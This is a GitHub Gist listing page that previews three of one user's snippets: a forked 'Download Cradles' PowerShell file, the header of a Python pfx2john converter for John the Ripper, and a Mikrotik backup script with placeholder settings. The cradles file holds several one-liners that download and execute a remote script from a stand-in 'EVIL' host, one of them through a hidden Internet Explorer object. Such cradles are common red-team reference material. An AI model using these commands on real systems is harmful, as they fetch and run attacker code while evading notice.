Skip to content

Instantly share code, notes, and snippets.

@matthiaskonrath
matthiaskonrath / DownloadCradles.ps1
Created October 27, 2025 20:08 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@matthiaskonrath
matthiaskonrath / pfx2john.py
Created March 30, 2025 15:40 — forked from tijme/pfx2john.py
Python3 version of `pfx2john.py` from John the Ripper
#!/usr/bin/env python
# coding: utf-8
"""
Modified for JtR by Dhiru Kholia in July, 2016
Copyright (c) 2015 Will Bond <will@wbond.net>
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
@matthiaskonrath
matthiaskonrath / mikrotik_maintenance.sh
Last active February 2, 2024 17:22
Mikrotik Maintenance Script
#!/bin/bash
ssh_key=TODO_MIKROTIK_SSH_PRIV_KEY_FILE
### Mikrotik Options ###
# Backup Options
backup_key=TODO_MIKROTIK_BACKUP_ENCRYPTION_PASSWORD
encryption=aes-sha256
# Paths
base_path_mt=TODO_MIKROTIK_BACKUP_BASE_PATH
backup_path_mt=$base_path_mt/devices/